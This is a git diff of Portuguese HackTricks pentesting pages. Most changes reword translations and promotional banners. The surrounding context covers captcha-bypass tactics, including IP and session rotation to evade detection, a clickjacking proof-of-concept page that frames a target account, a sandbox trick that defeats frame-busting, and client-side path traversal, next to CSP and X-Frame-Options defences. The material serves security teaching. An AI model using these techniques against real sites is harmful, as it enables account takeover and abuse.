No entanto, o fortalecimento das medidas de segurança muitas vezes resulta em uma diminuição da flexibilidade e da facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra esse compromisso. Foi introduzida para eliminar a necessidade de as extensões solicitarem privilégios de host em toda a internet, permitindo que as extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Esse modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas é insuficiente para aquelas que exigem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
|
No entanto, o aumento das medidas de segurança muitas vezes resulta em uma diminuição da flexibilidade e da facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra esse compromisso. Foi introduzida para eliminar a necessidade de as extensões solicitarem privilégios de host em toda a internet, permitindo que as extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Esse modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas é insuficiente para aquelas que exigem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
|
||||||
|
|
||||||
## **Referências**
|
## **Referências**
|
||||||
|
|
||||||
|
@ -133,7 +133,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -25,7 +25,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
|
||||||
frame.src = constructedURL;
|
frame.src = constructedURL;
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Uma página HTML publicamente acessível, **`message.html`**, foi projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
|
Uma página HTML publicamente acessível, **`message.html`**, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
|
||||||
```javascript
|
```javascript
|
||||||
$(document).ready(() => {
|
$(document).ready(() => {
|
||||||
let urlParams = new URLSearchParams(window.location.search);
|
let urlParams = new URLSearchParams(window.location.search);
|
||||||
|
@ -114,7 +114,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,12 +4,12 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -29,7 +29,7 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
|
||||||
* **Manipulação de Sessão**: Tente usar o mesmo valor de captcha em diferentes sessões ou no mesmo ID de sessão.
|
* **Manipulação de Sessão**: Tente usar o mesmo valor de captcha em diferentes sessões ou no mesmo ID de sessão.
|
||||||
|
|
||||||
3. **Automatização e Reconhecimento**:
|
3. **Automatização e Reconhecimento**:
|
||||||
* **Captchas Matemáticos**: Se o captcha envolver operações matemáticas, automatize o processo de cálculo.
|
* **Captcha Matemático**: Se o captcha envolver operações matemáticas, automatize o processo de cálculo.
|
||||||
* **Reconhecimento de Imagem**:
|
* **Reconhecimento de Imagem**:
|
||||||
* Para captchas que exigem a leitura de caracteres de uma imagem, determine manualmente ou programaticamente o número total de imagens únicas. Se o conjunto for limitado, você pode identificar cada imagem pelo seu hash MD5.
|
* Para captchas que exigem a leitura de caracteres de uma imagem, determine manualmente ou programaticamente o número total de imagens únicas. Se o conjunto for limitado, você pode identificar cada imagem pelo seu hash MD5.
|
||||||
* Utilize ferramentas de Reconhecimento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar a leitura de caracteres em imagens.
|
* Utilize ferramentas de Reconhecimento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar a leitura de caracteres em imagens.
|
||||||
|
@ -37,7 +37,7 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
|
||||||
4. **Técnicas Adicionais**:
|
4. **Técnicas Adicionais**:
|
||||||
* **Teste de Limite de Taxa**: Verifique se a aplicação limita o número de tentativas ou envios em um determinado período de tempo e se esse limite pode ser burlado ou redefinido.
|
* **Teste de Limite de Taxa**: Verifique se a aplicação limita o número de tentativas ou envios em um determinado período de tempo e se esse limite pode ser burlado ou redefinido.
|
||||||
* **Serviços de Terceiros**: Utilize serviços ou APIs de resolução de captcha que oferecem reconhecimento e resolução automatizados de captcha.
|
* **Serviços de Terceiros**: Utilize serviços ou APIs de resolução de captcha que oferecem reconhecimento e resolução automatizados de captcha.
|
||||||
* **Rotação de Sessão e IP**: Alterne frequentemente os IDs de sessão e os endereços IP para evitar detecção e bloqueio pelo servidor.
|
* **Rotação de Sessão e IP**: Altere frequentemente os IDs de sessão e os endereços IP para evitar detecção e bloqueio pelo servidor.
|
||||||
* **Manipulação de User-Agent e Cabeçalhos**: Altere o User-Agent e outros cabeçalhos de solicitação para imitar diferentes navegadores ou dispositivos.
|
* **Manipulação de User-Agent e Cabeçalhos**: Altere o User-Agent e outros cabeçalhos de solicitação para imitar diferentes navegadores ou dispositivos.
|
||||||
* **Análise de Captcha de Áudio**: Se uma opção de captcha de áudio estiver disponível, utilize serviços de conversão de fala em texto para interpretar e resolver o captcha.
|
* **Análise de Captcha de Áudio**: Se uma opção de captcha de áudio estiver disponível, utilize serviços de conversão de fala em texto para interpretar e resolver o captcha.
|
||||||
|
|
||||||
|
@ -46,8 +46,8 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
|
||||||
|
|
||||||
### [Capsolver](https://www.capsolver.com/)
|
### [Capsolver](https://www.capsolver.com/)
|
||||||
|
|
||||||
O solucionador automático de captcha do Capsolver oferece a **solução de resolução de captcha mais acessível e rápida**. Você pode rapidamente integrá-lo ao seu programa usando sua opção de integração simples para obter os melhores resultados em questão de segundos.
|
O solucionador automático de captcha da Capsolver oferece a **solução de resolução de captcha mais acessível e rápida**. Você pode rapidamente integrá-lo ao seu programa usando sua opção de integração simples para obter os melhores resultados em questão de segundos.
|
||||||
|
|
||||||
Com uma taxa de sucesso de 99,15%, o Capsolver pode **responder a mais de 10 milhões de captchas a cada minuto**. Isso significa que sua automação ou raspagem terá um tempo de atividade de 99,99%. Você pode comprar um pacote de captcha se tiver um grande orçamento.
|
Com uma taxa de sucesso de 99,15%, a Capsolver pode **responder a mais de 10 milhões de captchas a cada minuto**. Isso significa que sua automação ou raspagem terá um tempo de atividade de 99,99%. Você pode comprar um pacote de captcha se tiver um grande orçamento.
|
||||||
|
|
||||||
Pelo menor preço do mercado, você pode obter uma variedade de soluções, incluindo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3, e muito mais. Com este serviço, **0.1s é a velocidade mais lenta já medida**.
|
Pelo menor preço do mercado, você pode obter uma variedade de soluções, incluindo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3, e muito mais. Com este serviço, **0.1s é a velocidade mais lenta já medida**.
|
||||||
|
|
|
@ -9,15 +9,15 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas** do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Acesse hoje:
|
Acesse hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -79,7 +79,7 @@ left:210px;
|
||||||
<div class="secondClick">Click me next</div>
|
<div class="secondClick">Click me next</div>
|
||||||
<iframe src="https://vulnerable.net/account"></iframe>
|
<iframe src="https://vulnerable.net/account"></iframe>
|
||||||
```
|
```
|
||||||
### Arrastar e Soltar + Payload de Clique
|
### Carga Drag\&Drop + Clique
|
||||||
```markup
|
```markup
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -133,32 +133,32 @@ No entanto, esses scripts de quebra de frames podem ser contornados:
|
||||||
```html
|
```html
|
||||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||||
```
|
```
|
||||||
As valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
|
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
|
||||||
|
|
||||||
### Defesas do Lado do Servidor
|
### Defesas do Lado do Servidor
|
||||||
|
|
||||||
#### X-Frame-Options
|
#### X-Frame-Options
|
||||||
|
|
||||||
O cabeçalho de resposta HTTP **`X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
|
O cabeçalho de resposta HTTP **`X-Frame-Options` informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
|
||||||
|
|
||||||
- `X-Frame-Options: deny` - Nenhum domínio pode enquadrar o conteúdo.
|
- `X-Frame-Options: deny` - Nenhum domínio pode enquadrar o conteúdo.
|
||||||
- `X-Frame-Options: sameorigin` - Apenas o site atual pode enquadrar o conteúdo.
|
- `X-Frame-Options: sameorigin` - Apenas o site atual pode enquadrar o conteúdo.
|
||||||
- `X-Frame-Options: allow-from https://trusted.com` - Apenas o 'uri' especificado pode enquadrar a página.
|
- `X-Frame-Options: allow-from https://trusted.com` - Apenas o 'uri' especificado pode enquadrar a página.
|
||||||
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
|
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva frame-ancestors do CSP.
|
||||||
|
|
||||||
#### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
|
#### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
|
||||||
|
|
||||||
A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
|
A **diretiva `frame-ancestors` no CSP** é o método recomendado para proteção contra Clickjacking:
|
||||||
|
|
||||||
- `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
|
- `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
|
||||||
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
|
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
|
||||||
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
|
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
|
||||||
|
|
||||||
Por exemplo, a seguinte CSP permite apenas o enquadramento do mesmo domínio:
|
Por exemplo, o seguinte CSP permite apenas o enquadramento do mesmo domínio:
|
||||||
|
|
||||||
`Content-Security-Policy: frame-ancestors 'self';`
|
`Content-Security-Policy: frame-ancestors 'self';`
|
||||||
|
|
||||||
Mais detalhes e exemplos complexos podem ser encontrados na [documentação da CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação da CSP frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
Detalhes adicionais e exemplos complexos podem ser encontrados na [documentação do CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação do Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||||||
|
|
||||||
### Política de Segurança de Conteúdo (CSP) com `child-src` e `frame-src`
|
### Política de Segurança de Conteúdo (CSP) com `child-src` e `frame-src`
|
||||||
|
|
||||||
|
@ -181,9 +181,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||||
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
|
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
|
||||||
|
|
||||||
**Notas de Uso:**
|
**Notas de Uso:**
|
||||||
- Descontinuação: child-src está sendo substituído por frame-src e worker-src.
|
- Descontinuação: child-src está sendo gradualmente substituído por frame-src e worker-src.
|
||||||
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
|
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
|
||||||
- Definição de Fonte Estrita: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
|
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
|
||||||
|
|
||||||
#### Scripts JavaScript de Quebra de Frames
|
#### Scripts JavaScript de Quebra de Frames
|
||||||
|
|
||||||
|
@ -205,7 +205,7 @@ top.location = self.location;
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||||
Acesse hoje:
|
Acesse hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -219,7 +219,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,7 +1,23 @@
|
||||||
|
# Traversal de Caminho do Lado do Cliente
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Uma travessia de caminho do lado do cliente ocorre quando você pode **manipular o caminho de um URL** que será **enviado a um usuário para visitar de forma legítima** ou que um usuário de alguma forma será **forçado a visitar, por exemplo, via JS ou CSS**.
|
Uma travessia de caminho do lado do cliente ocorre quando você pode **manipular o caminho de uma URL** que será **enviada a um usuário para visitar de forma legítima** ou que um usuário de alguma forma será **forçado a visitar, por exemplo, via JS ou CSS**.
|
||||||
|
|
||||||
Neste [**artigo**](https://erasec.be/blog/client-side-path-manipulation/), foi possível **alterar o URL do convite** para que ele acabasse **cancelando um cartão**.
|
Neste [**artigo**](https://erasec.be/blog/client-side-path-manipulation/), foi possível **alterar a URL de convite** para que ela acabasse **cancelando um cartão**.
|
||||||
|
|
||||||
Neste [**artigo**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), foi possível combinar uma **travessia de caminho do lado do cliente via CSS** (foi possível alterar o caminho de onde um recurso CSS foi carregado) com um **redirecionamento aberto** para carregar o recurso CSS de um **domínio controlado pelo atacante**.
|
Neste [**artigo**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), foi possível combinar uma **travessia de caminho do lado do cliente via CSS** (foi possível alterar o caminho de onde um recurso CSS era carregado) com um **redirecionamento aberto** para carregar o recurso CSS de um **domínio controlado pelo atacante**.
|
||||||
|
|
|
@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
